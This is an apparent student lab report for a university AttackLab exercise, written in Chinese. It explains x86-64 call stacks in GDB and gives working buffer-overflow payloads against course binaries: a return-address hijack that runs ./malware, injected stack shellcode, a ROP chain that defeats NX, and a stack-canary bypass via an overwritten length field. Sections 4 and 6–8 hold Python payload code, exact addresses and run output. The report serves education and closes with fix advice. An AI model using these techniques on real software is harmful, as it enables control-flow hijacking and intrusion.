计算机系统基础

Lab3：AttackLab

2026 年秋季学期 · 实验报告

本报告按 2026 秋季学期《计算机系统基础》Lab3：AttackLab 课程任务展开，结合源代码、GDB 实测、Python payload 和实验程序的实际输出，说明 x86-64 调用栈、缓冲区溢出、机器码、ROP 及 Canary 保护机制。

证据概况：已完成 input 栈帧回溯、call / leave / ret 单步观察、main 前三条机器码验证、20 / 32 字符溢出内存检查，以及四个 payload 的目标输出测试。文中同时记录目标出现之后发生的异常退出。

项目	内容
课程	复旦大学《计算机系统基础》（2026 秋）
实验	Lab3：AttackLab
仓库	https://github.com/AliceWang-yi/Lab3
报告作者标识	GitHub：AliceWang-yi（提交仓库账号）
运行环境	Ubuntu（WSL，终端路径 /mnt/c/Users/wang/Lab3）；x86-64；GDB；Python 3
报告编写日期	2026-11-02；课程截止 2026-11-27 23:59

证据标记约定

记录标记说明：文中使用“实测”标记来自本次实验的原始 GDB / Ubuntu 终端输出；涉及程序行为的解释由源码和 x86-64 指令语义推导，不将成功输出等同于正常退出或自动评分。

阅读导航

1. 评分与环境；2. input 栈帧与五问；3. 20 / 32 字符测试；4. malware；5. main 机器码；6. 栈空间执行；7. ROP；8. Canary；9. 保护机制；10. 总结；附录 A：测试复现；附录 B：提交核验。

1. 评分范围、目标与实验环境

1.1 官方评分项目逐项映射

报告项目	报告分	对应章节 / 状态
观察 input 栈帧及五个问题	20	§2：GDB 调用栈与单步实测
20 / 32 个字符测试	5	§3：两次输入与内存实测
执行 ./malware	5	§4；目标输出已观察
查看 main 机器码	5	§5：机器码与精确区间
栈空间执行	5	§6；目标输出已观察
ROP	10	§7；目标输出已观察
Canary + 结构体重排思考	10	§8；目标输出已观察，思考已答
报告合计	60	程序自动测试另占 70 分

本实验全部分值为 130，其中四个 payload 测试分别为 25、25、10、10 分，报告部分共 60 分。课程要求将 PDF 报告放在仓库根目录，并把仓库 URL 提交到 eLearning；所有更改须在截止前进入默认分支，仓库需从截止时起至少维持 Public 24 小时。[1] [2]

1.2 环境与目标文件

在 Ubuntu/WSL 中，以 Python 3 生成二进制输入，通过 shell 重定向送入 attack/ 目录中的预编译程序；通过 GDB 查看寄存器、调用栈与汇编，借助 objdump、nm 识别代码段与符号地址。实验使用的二进制分别为 dark-calc、dark-calc-nx、dark-log，供对照的源码为 src/dark-calc.c、src/dark-log.c、src/aslr.c。[2] [3]

```
cd /mnt/c/Users/wang/Lab3
ls attack/
gdb -q ./attack/dark-calc
objdump -d -M intel attack/dark-calc-nx
```

1.3 方法与限制

文中的关键地址与终端成功消息来自本次作业的 GDB / WSL 记录；系统地址、编译布局与系统库可能随二进制或运行环境而变化。特别是栈地址 0x721000800fd0 来自 GDB 禁用 ASLR 的调试会话，不是通用、可移植的地址。报告只以目标字符串出现作为本次观察到的成功条件，不宣称已通过远端自动评分。

2. input 调用栈观察与五问（20 分）

2.1 问题一：input 函数是谁调用的?

```
(gdb) bt
#0  0x000000000040197b in input ()
#1  0x0000000000401ad1 in main ()
```

GDB 的调用栈显示当前函数为 input，上一层调用者为 main。反汇编同时表明 main 在 0x401acc 处调用 input，调用完成后应返回至 0x401ad1。这与源程序 main 循环执行 input() 和 eval() 的逻辑吻合。

2.2 问题二：input 前三条指令与 rbp 的值来自哪里?

```
0x401977 <input+0>: push rbp
0x401978 <input+1>: mov rbp,rsp
0x40197b <input+4>: sub rsp,0x10
(gdb) x/2gx $rbp
0x721000800fe0: 0x0000721000800ff0  0x0000000000401ad1
```

push rbp 保存调用者的帧基址，mov rbp,rsp 建立当前函数栈帧，sub rsp,0x10 为大小为 16 字节的局部数组 expression 分配栈空间。这三条指令构成典型的函数序言。实测 rbp = 0x721000800fe0，[rbp] = 0x721000800ff0，即原先 main 使用的 rbp 值；并非 input 产生的新数据。

2.3 问题三：rbp + 8 处保存了什么?

```
(gdb) x/2gx $rbp
0x721000800fe0: 0x0000721000800ff0  0x0000000000401ad1
0x401acc <main+9>:  call 0x401977 <input>
0x401ad1 <main+14>: mov eax,0x0
```

内存 [rbp+8]（即 0x721000800fe8）保存返回地址 0x401ad1。它指向 main 中 call input 紧接着的 mov eax,0x0 指令。该地址使 input 执行完 ret 后返回 main，随后继续调用 eval。

2.4 问题四：哪条汇编指令向栈中放入返回地址?

```
(gdb) break *0x401acc
(gdb) run
(gdb) info registers rip rsp rbp
rip 0x401acc   rsp 0x721000800ff0   rbp 0x721000800ff0
(gdb) x/i $rip
=> 0x401acc <main+9>: call 0x401977 <input>
(gdb) si
0x0000000000401977 in input ()
(gdb) info registers rip rsp rbp
rip 0x401977   rsp 0x721000800fe8   rbp 0x721000800ff0
(gdb) x/gx $rsp
0x721000800fe8: 0x0000000000401ad1
```

答案是位于 0x401acc 的 call input 指令。单步前 RIP=0x401acc，RSP=0x721000800ff0；单步后 RIP=0x401977，RSP=0x721000800fe8。可见 call 将 RSP 减少 8 字节并把下一条指令的地址 0x401ad1 压入栈顶。在 input 的 push rbp 尚未执行时 RBP 仍保持 0x721000800ff0。

2.5 问题五：call、prologue、leave、ret 的作用

从调用者进入被调用者时，call 自动保存返回地址并跳转；prologue 保存旧 rbp，建立新 rbp 并给局部变量分配空间；返回时 leave 恢复调用者栈帧，ret 弹出保存的返回地址并设置 RIP。

阶段	RIP	RSP	RBP
call 前	0x401acc	0x721000800ff0	0x721000800ff0
call 后	0x401977	0x721000800fe8	0x721000800ff0
leave 前	0x4019d5	0x721000800fd0	0x721000800fe0
leave 后	0x4019d6	0x721000800fe8	0x721000800ff0
ret 后	0x401ad1	0x721000800ff0	0x721000800ff0

```
(gdb) break *0x4019d5
Breakpoint 2, 0x00000000004019d5 in input ()
(gdb) x/2gx $rbp
0x721000800fe0: 0x0000721000800ff0  0x0000000000401ad1
(gdb) si
0x00000000004019d6 in input ()
(gdb) x/gx $rsp
0x721000800fe8: 0x0000000000401ad1
(gdb) si
0x0000000000401ad1 in main ()
(gdb) x/i $rip
=> 0x401ad1 <main+14>: mov eax,0x0
```

在输入 1 的正常执行路径上，leave 相当于 mov rsp,rbp 后再 pop rbp，令 rsp 指向保存的返回地址；ret 进一步弹出 0x401ad1 并将控制流交回 main。上表中 RSP 在 leave 后增加到 0x721000800fe8，再在 ret 后恢复到 0x721000800ff0，形成完整的调用栈恢复过程。

图示：栈由高地址向低地址增长；expression 从 rbp−0x10 起，保存的 rbp 在 rbp，返回地址在 rbp+8。

3. 20 与 32 字符输入的缓冲区溢出（5 分）

3.1 内存布局与测试条件

input 使用 gets(expression) 读取数据；反汇编中的 lea rax,[rbp-0x10] 表明数组开头位于 rbp-0x10。局部数组 16 字节、保存的 rbp 8 字节、保存的返回地址 8 字节，从数组开头计算的偏移分别为 0-15、16-23 和 24-31。由于 gets 还会添加终止字节 0x00，20 和 32 个 A 分别写入 21 和 33 字节。

```
python3 -c "print('A'*20)" > /tmp/lab3_20.txt
python3 -c "print('A'*32)" > /tmp/lab3_32.txt
(gdb) break *0x40199f
```

3.2 输入 20 个字符：RBP 受损、返回地址未受损

```
(gdb) run < /tmp/lab3_20.txt
(gdb) x/6gx $rbp-0x10
0x721000800fd0: 0x4141414141414141  0x4141414141414141
0x721000800fe0: 0x0000720041414141  0x0000000000401ad1
0x721000800ff0: 0x00007fffffffdfa0  0x0000000000401c1f
(gdb) continue
Executing: echo $((AAAAAAAAAAAAAAA))
0
Enter an expression (length up to 15):
```

实测从 0x721000800fd0 起 16 个字节全部为 0x41；随后 0x721000800fe0 到 0x721000800fe3 的 4 字节也变成 0x41，偏移 20 的终止字节为 0x00，因此保存的 rbp 变成 0x0000720041414141。返回地址 0x401ad1 未变。程序执行 continue 后仍进行了 eval，显示算术包装命令及结果 0，之后进入下一轮输入，并未在这次输入后立即段错误。

3.3 输入 32 个字符：返回地址被完整覆盖

```
(gdb) run < /tmp/lab3_32.txt
(gdb) x/6gx $rbp-0x10
0x721000800fd0: 0x4141414141414141  0x4141414141414141
0x721000800fe0: 0x4141414141414141  0x4141414141414141
0x721000800ff0: 0x00007fffffffdf00  0x0000000000401c1f
(gdb) x/gx $rbp+8
0x721000800fe8: 0x4141414141414141
(gdb) continue
Program received signal SIGSEGV, Segmentation fault.
0x00000000004019d6 in input ()
```

32 个 A 覆盖 expression、保存的 rbp 和完整的返回地址；gets 额外写入的 0x00 位于偏移 32（0x721000800ff0）。GDB 直接显示 [rbp+8] 为 0x4141414141414141。继续运行时在 input 的 ret（0x4019d6）处出现 SIGSEGV。此地址并非合法的 x86-64 规范用户态地址，所以异常可在 ret 完成跳转前发生。与 20 字符结果相对照，说明单独损坏保存的 RBP 不必立刻使程序崩溃，但覆盖返回地址可直接破坏控制流。

输入	gets 实际写入	保存的 RBP	保存的返回地址	继续执行实测
20 个 A	21 字节	低 4 字节为 A，下一字节 00	0x401ad1，未改变	执行 eval 后再进 input
32 个 A	33 字节	8 字节全部变成 A	0x4141414141414141	ret 处 SIGSEGV

4. 执行 ./malware：返回地址劫持（5 分报告）

4.1 漏洞与攻击目标

程序用 gets(expression) 接收未经长度限制的输入，再用 strcpy(command_buf,expression) 将 C 字符串复制到全局缓冲区；eval 会先包装命令，再调用 system。攻击的目标是利用 input 的返回地址覆盖，跳过 eval 前面拼接命令的部分，直接进入准备 system 参数的指令序列，使 system 执行 ./malware。[3]

4.2 精确地址与 payload

```
0x401993: lea rax,[rbp-0x10]
0x40199a: call gets@plt
0x4019cf: call strcpy@plt
0x4019d5: leave
0x4019d6: ret
0x401a6b: mov edi,0x6030d0
0x401a70: call system@plt
```

由 16 字节局部数组与 8 字节保存的 rbp，计算得到覆盖返回地址前需要填充 24 字节。选择 0x401a6b 而不是 0x401a70，因为前者先把 command_buf 地址装入 edi（清零扩展后成为 rdi），满足 System V AMD64 ABI 的第一个参数传递约定。

```
RET_OFFSET = 24
TARGET_ADDR = 0x401a6b
command = b"./malware\x00"
padding = b"A" * (RET_OFFSET - len(command))
return_address = struct.pack("<Q", TARGET_ADDR)
payload = command + padding + return_address
sys.stdout.buffer.write(payload + b"\n")
```

开头的 ./malware 占 9 字节，其后 0x00 是 C 字符串结束符。gets 可接受 NUL 字节并继续把后续 payload 写入栈；strcpy 遇到 0x00 停止，因此 command_buf 只接收到 './malware'，返回地址却仍可以被后面的字节覆盖。填充为 24 − 10 = 14 字节 'A'，最后 8 字节为 0x401a6b 的小端编码。payload 不应在内部含 0x0a，否则 gets 会提前停止。

4.3 实测结果

```
$ python3 ../payload.py > /tmp/lab3_payload.bin
$ ./dark-calc < /tmp/lab3_payload.bin
### The bomb was triggered by the dark-calc process. ###
### You have successfully detonated the bomb! Congratulations! ###
Bus error (core dumped)
```

已观察到 malware 执行及成功提示，因此攻击目标已完成。随后出现 Bus error，说明劫持控制流后没有恢复正常后续执行路径；不能把成功消息理解为程序正常退出，也不能据此保证自动评分已经给出全部测试分数。

5. GDB 检查 main 函数机器码（5 分）

5.1 获取前三条机器码

```
(gdb) disassemble /r main
0x401ac3 <+0>: 55              push rbp
0x401ac4 <+1>: 48 89 e5        mov rbp,rsp
0x401ac7 <+4>: b8 00 00 00 00  mov eax,0x0
0x401acc <+9>: e8 a6 fe ff ff  call 0x401977 <input>
```

使用 disassemble /r main 得到汇编与机器码，再用 x/32xb main 核对内存中的字节。以下精确区间由各指令的起始地址与长度计算得到。

序号	汇编指令	机器码（十六进制）	所在字节地址区间
1	push rbp	55	0x401ac3
2	mov rbp,rsp	48 89 e5	0x401ac4 – 0x401ac6
3	mov eax,0x0	b8 00 00 00 00	0x401ac7 – 0x401acb

5.2 机器码在内存中的排列

```
□□       +0  +1  +2  +3  +4  +5  +6  +7  +8
0x401ac3   55  48  89  e5  b8  00  00  00  00
           |  |------------|  |----------------|
         push    mov rbp,rsp      mov eax,0

□□□□□□ 0x401acc □□□call input□
```

实测三条指令在连续的地址上依次存放，共占用 1+3+5=9 字节，没有在指令之间添加空字节。x86-64 指令长度可变，CPU 依据解码结果识别下一条指令的起点。反汇编的地址从 0x401ac3 到 0x401acb 与 GDB 内存字节完全一致。

5.3 原始内存验证

```
(gdb) x/32xb main
0x401ac3 <main>:    0x55 0x48 0x89 0xe5 0xb8 0x00 0x00 0x00
0x401acb <main+8>:  0x00 0xe8 0xa6 0xfe 0xff 0xff 0xb8 0x00
0x401ad3 <main+16>: 0x00 0x00 0x00 0xe8 0xfc 0xfe 0xff 0xff
0x401adb <main+24>: 0xeb 0xea 0x55 0x48 0x89 0xe5 0x48 0x83
```

从 0x401ac3 起，第 1 字节 55 对应 push rbp；接下来 48 89 e5 对应 mov rbp,rsp；随后五字节 b8 00 00 00 00 对应 mov eax,0x0。紧接在 0x401acc 的 e8 是 call 的操作码，进一步证实三条指令的末尾为 0x401acb。

6. 栈空间执行（5 分报告；25 分测试）

6.1 目标与地址

dark-calc 中 grade_eval(int grade) 只有在参数为 4 时才打印 'Hope A will be your grade!'。本次使用的函数入口为 0x401a87；GDB 在 input 中 gets 返回后的断点处测得 expression 起点为0x721000800fd0（p/x $rbp-0x10）。这两个值均来自已提供的 GDB 输出。

6.2 注入机器码与布局

地址相对位移	机器码	语义
0 – 4	bf 04 00 00 00	mov edi,4，设置第一个整数参数
5 – 9	b8 87 1a 40 00	mov eax,0x401a87，加载目标地址
10 – 11	ff d0	call rax，转到 grade_eval
12 – 23	90 × 12	NOP 填充到保存返回地址之前
24 – 31	d0 0f 80 00 10 72 00 00	覆盖返回地址为 0x721000800fd0

最终 payload 为 12 字节机器码 + 12 字节 NOP + 8 字节覆盖后的返回地址，总长 32 字节，后面额外输出换行作为 gets 的终止符。CPU 在 input 的 ret 后跳到栈上的 shellcode，先设置 edi=4，再调用 grade_eval。在 System V ABI 下写入 edi 会清零扩展到 rdi。

```
GRADE_ADDR = 0x401a87
STACK_ADDR = 0x721000800fd0
shellcode = b"\xbf\x04\x00\x00\x00"
shellcode += b"\xb8" + struct.pack("<I", GRADE_ADDR)
shellcode += b"\xff\xd0"
payload = shellcode.ljust(24, b"\x90")
payload += struct.pack("<Q", STACK_ADDR)
```

6.3 实测和保护机制

```
(gdb) break *0x40199f
(gdb) run < /tmp/lab3_dark.bin
(gdb) p/x $rbp-0x10
$1 = 0x721000800fd0
(gdb) continue
Hope A will be your grade!
Program received signal SIGSEGV, Segmentation fault.
```

输出已观察到，说明参数设置与控制流跳转生效。SIGSEGV
出现在后续返回或继续执行阶段，说明并未恢复正常的控制流。这种依赖可执行栈与固定栈地址的方案在 NX 和 ASLR 生效时通常无法直接复用；本题利用的是专门准备的实验二进制与 GDB 调试条件。

7. Return-Oriented Programming（10 分报告；10 分测试）

7.1 为什么要用 ROP?

dark-calc-nx 的栈不可执行，不能通过向栈输入机器码并将 RIP 指向该区域来实现目标。程序是 non-PIE，因此代码段的绝对地址在不同运行中相对稳定；ROP 利用已有代码中的 ret、pop 等片段，通过返回地址链控制现有指令执行顺序。

7.2 跨指令边界识别 gadget

```
401a32: 41 5f    pop r15
401a34: c3       ret
     □ 0x401a33 □□□□□□□□
401a33: 5f       pop rdi
401a34: c3       ret
```

字节 41 是 REX 前缀。处理器可以从 0x401a33 这个字节开始取指，于是 5f 被解释为 pop rdi，随后紧跟 c3(ret)。因此 0x401a33 成为所需的 pop rdi; ret gadget。0x401a34 处还存在可单独使用的 ret。

7.3 ROP 链与栈对齐

payload 偏移	8 字节的内容	效果
0 – 23	'A' × 24	填满 input 的局部数组和保存的 rbp
24 – 31	0x401a33	返回到 pop rdi; ret
32 – 39	0x4	被 pop 取出放进 rdi

payload 偏移	8 字节的内容	效果
40 – 47	0x401a34	附加 ret，用于调整调用入口前的栈对齐
48 – 55	grade_eval 的入口地址	最后返回到目标函数

按 System V AMD64 ABI，函数入口通常要求 rsp mod 16 = 8。ROP 中增加一次 ret 相当于额外弹出 8 字节，可切换栈对齐奇偶性，避免某些 glibc 的 printf 因栈未对齐而崩溃。本次 Python 用 nm -n 从 dark-calc-nx 自动解析 grade_eval 符号，而不是错误地照搬 dark-calc 的地址。

```
target = Path(__file__).resolve().parent / "attack" / "dark-calc-nx"
symbols = subprocess.check_output(
    ["nm", "-n", str(target)], text=True
)
grade_addr = next(
    int(line.split()[0], 16)
    for line in symbols.splitlines()
    if line.endswith(" grade_eval")
)
payload = b"A" * 24
payload += struct.pack("<QQQQ", 0x401a33, 4, 0x401a34, grade_addr)
```

7.4 实际运行结果

```
$ python3 payload_rop.py > /tmp/lab3_rop.bin
$ cd attack
$ ./dark-calc-nx < /tmp/lab3_rop.bin
Hope A will be your grade!
Segmentation fault (core dumped)
```

已观察到目标输出。随后的段错误是链尾缺少有效后续返回地址的可能后果。本实验展示了 NX 只能阻止直接执行栈上数据，而无法单独解决利用既有可执行代码进行控制流重组的问题。

8. Stack Canary 绕过（10 分报告；10 分测试）

8.1 关键源码和 GDB 位置

```
struct log_frame {
    char expression[128];
    char logMsg[128];
    int len;
    char pad[8];
};
gets(f.expression);
memcpy(f.logMsg + f.len, f.expression, sizeof(f.expression));
```

本题在 dark-log 中使用栈保护器。GDB 显示 input 预留 0x120 字节栈帧，Canary 存在 [rbp-0x8]；expression 从 [rbp-0x120] 开始，logMsg 从 [rbp-0xa0] 开始，len 位于 [rbp-0x20]。输入时并不是直接跨越 Canary 写返回地址，而是先覆盖尚未达到 Canary 的 len。

成员 / 槽位	相对 rbp 的地址	相对 expression 的起始偏移
expression[128]	rbp-0x120 至 rbp-0xa1	0 – 127
logMsg[128]	rbp-0xa0 至 rbp-0x21	128 – 255
len (int)	rbp-0x20 至 rbp-0x1d	256 – 259
Canary	rbp-0x8 至 rbp-0x1	280 – 287
保存的 rbp	rbp 至 rbp+7	288 – 295
返回地址	rbp+8 至 rbp+15	296 – 303

8.2 由 len 导向的“间接越界写”

gets 从 expression 顺序写入 260 字节：前 256 字节为 ROP 链与填充，最后 4 字节是小端序的 168（a8 00 00 00），刚好覆盖 len，其终止 0x00 写在后面的 pad 中，未达到 Canary 所在位置。随后 memcpy 的目标地址为：

```
dst = (&f.logMsg) + f.len
    = (rbp - 0xa0) + 0xa8
    = rbp + 0x08
```

这恰好是 input 保存的返回地址。memcpy 从 expression 复制固定 128 字节到该地址，首 32 字节成为新的 ROP 链，从而绕开位于 rbp-0x8 的 Canary。函数结束时 Canary 校验能通过，但 ret 使用的返回地址已被复制操作替换。

8.3 攻击链与实测结果

```
rop = struct.pack("<QQQQ", 0x4018a3, 4, 0x4018a4, 0x401677)
payload = rop.ljust(256, b"A")
payload += struct.pack("<I", 168)
assert len(payload) == 260
sys.stdout.buffer.write(payload + b"\n")
```

0x4018a3 是本二进制中从 pop r15 机器码第二字节开始得到的 pop rdi; ret; 0x4018a4 是额外 ret; 0x401677 为 dark-log 中 grade_eva1 的入口。复制后的 ROP 链先令 rdi=4，随后调整栈对齐并转入 grade_eva1。

```
$ ./dark-log < /tmp/lab3_canary.bin
Enter a log message:
Hope A will be your grade!
Segmentation fault (core dumped)
```

成功信息已经观察到，且输出中未见 'stack smashing detected'；这与内存布局分析得出的“不改写 Canary、却改写返回地址”一致。后续 SIGSEGV
不改变其已达成目标输出的事实，但不等于进程正常退出。

8.4 思考题：如何重排成员使攻击失效？为什么？

```
struct log_frame {
    int len;
    char pad[8];
    char logMsg[128];
    char expression[128];
};
```

答：把 len 放在结构体低地址的一端，把 expression
放在结构体较高地址的末端。在本实验假设的局部变量布局下，gets 向 expression
高地址方向越界时，不再能先碰到 len；继续越界会朝着结构体外部和 Stack Canary
方向前进，触发保护检查。同时初始化 len=0 后，memcpy 的目标留在正常的 logMsg
起始位置，攻击者不再能通过覆盖 len 把写入位置移到 rbp+8。

需要强调，重排成员只是使本题这条特定攻击路径失效，并不是根治方案。根本修复应删除 gets，使用 fgets 等有界输入函数，并对 memcpy 的目标偏移与长度进行边界检查；开启 Canary、NX、PIE、ASLR 等保护属于多层防御。

9. ASLR、non-PIE 与 NX 的补充理解

9.1 地址稳定性

ASLR 随运行变化栈、堆和库的虚拟地址；代码是否随机化还取决于可执行文件是否为 PIE。课程提供的目标二进制均为 non-PIE，因而 ROP gadget
的代码段地址可以直接写入链中。第二题使用的 STACK_ADDR 则取自 GDB 关闭 ASLR
的调试会话，脱离该条件可能失效。[1]

9.2 可复现实验

```
cd /mnt/c/Users/wang/Lab3
cc -o /tmp/lab3_aslr src/aslr.c
/tmp/lab3_aslr
/tmp/lab3_aslr
/tmp/lab3_aslr
gdb -q ./attack/dark-calc
(gdb) show disable-randomization
```

src/aslr.c 每次打印局部变量 i 的地址。在正常启用 ASLR 的运行中，通常可以看到地址变化；GDB 默认可能禁用随机化，因此重复调试时栈地址可能保持相同。这部分是课程正文中的扩展体验，不在 README 的七项报告分值清单中，但有助于解释第二题与第三题的差异。尚无本人连续三次运行的终端记录，不能在此虚构具体地址。

10. 实验结果、错误解释与总结

10.1 已有终端记录汇总

任务	实测到的成功标志	随后是否异常	结论边界
malware	You have successfully detonated ...	Bus error	执行目标已证实
栈空间执行	Hope A will be your grade!	SIGSEGV (GDB)	目标调用已证实
ROP / NX	Hope A will be your grade!	Segmentation fault	目标调用已证实
Canary	Hope A will be your grade!	Segmentation fault	目标调用已证实

四次记录均达到了实验页面描述的目标输出条件。不过，程序退出状态非零，远端自动评分、不同环境下的可移植性及远程仓库的代码语法均须独立检查。不能把“看到了成功字符串”写成“已经取得 70 分”。

10.2 从实验获得的系统性认识

(1) 函数调用不是抽象的“跳转”：call 把返回地址压入调用栈，prologue 保存调用者上下文，leave 与 ret 恢复该上下文；(2) 固定长度数组配合无界输入足以让数据破坏控制信息；(3) 当栈可执行时，短机器码能把参数放进寄存器并复用已有函数；(4) NX 与 ASLR 提升攻击门槛，但 non-PIE 程序的既有代码片段可用于 ROP；(5) Canary 只能发现覆盖路径经过保护槽位的情况，若程序本身存在可控的间接越界写，仍可能被绕过。

10.3 限制与修复建议

此次实验在课程提供的隔离目标上开展。建议真实软件用有长度限制的输入函数，检查所有偏移和复制长度，启用编译器栈保护以及 PIE、NX、ASLR，并对异常退出进行系统调试。对本报告而言，最直接的收尾工作是补录三处实测证据、修复仓库的 payload.py 语法问题，并核对 PDF 已进入 main。

附录 A：实验复现与验证命令

A.1 调用栈观察

```
cd /mnt/c/Users/wang/Lab3/attack
gdb -q ./dark-calc
(gdb) set pagination off
(gdb) set disassembly-flavor intel
(gdb) break *0x40197b
(gdb) run
(gdb) bt
(gdb) disassemble /r main
(gdb) x/32xb main
(gdb) x/2gx $rbp
(gdb) break *0x4019d5
(gdb) continue
(gdb) info registers rip rsp rbp
(gdb) si
(gdb) info registers rip rsp rbp
(gdb) si
(gdb) info registers rip rsp rbp
```

对 call 的观察使用断点 0x401acc，先记录 RIP、RSP、RBP，再使用 si 执行到 input 入口，并用 x/gx $rsp 读取压入的 0x401ad1。

A.2 长度与攻击测试

```
cd /mnt/c/Users/wang/Lab3
python3 -c "print('A'*20)" > /tmp/lab3_20.txt
python3 -c "print('A'*32)" > /tmp/lab3_32.txt
python3 payload.py > /tmp/lab3_payload.bin
python3 payload_dark.py > /tmp/lab3_dark.bin
python3 payload_rop.py > /tmp/lab3_rop.bin
python3 payload_canary.py > /tmp/lab3_canary.bin
cd attack
./dark-calc < /tmp/lab3_payload.bin
./dark-calc-nx < /tmp/lab3_rop.bin
./dark-log < /tmp/lab3_canary.bin
```

栈执行测试在 GDB 中运行 dark-calc 并输入 /tmp/lab3_dark.bin；因为栈地址来自调试会话，脱离同一地址条件的直接运行未必复现。20/32 字符测试在 gets 返回处（0x40199f）检查内存，详见正文。

附录 B：仓库提交与核验

内容	提交要求 / 核验点
4 个 payload 源码	payload.py、payload_dark.py、payload_rop.py、payload_canary.py
实验报告	Lab3_Report.pdf，位于 Git 仓库根目录
模板必要文件	保留 README.md、src/、attack/、.github/workflows/ 等原模板文件
无关生成文件	core、core.*、__pycache__/、*.pyc、临时 payload 二进制文件不提交
默认分支	确认修改已提交并推送到 main
课程提交	在 eLearning 提交仓库地址
仓库可见性	截止后至少 24 小时保持 Public

提交前检查

```
cd /mnt/c/Users/wang/Lab3
python3 -m py_compile payload.py payload_dark.py payload_rop.py payload_canary.py
git status
git branch --show-current
git diff --cached --name-only
git log -1 --oneline
```

建议明确暂存所需四个 Python 文件和一份 PDF，而非使用 git add .；编译缓存与 core dump 不属于作业目标文件。保留项目原始源码、测试二进制、README 与工作流，以免破坏实验结构或自动评分。

参考资料

[1] 复旦大学《计算机系统基础》（2026 秋），Lab3：AttackLab。

https://ics-26fall-fdu.github.io/labs/lab3-attack-lab/

[2] ICS-26Fall-FDU/AttackLab 模板仓库与 README。

https://github.com/ICS-26Fall-FDU/AttackLab

[3] 官方附带源码 src/dark-calc.c、src/dark-log.c 与 src/aslr.c。

https://github.com/ICS-26Fall-FDU/AttackLab/tree/main/src

[4] 本次作业的本人终端、GDB 汇编与运行记录（记录的地址和输出均来自对应程序）。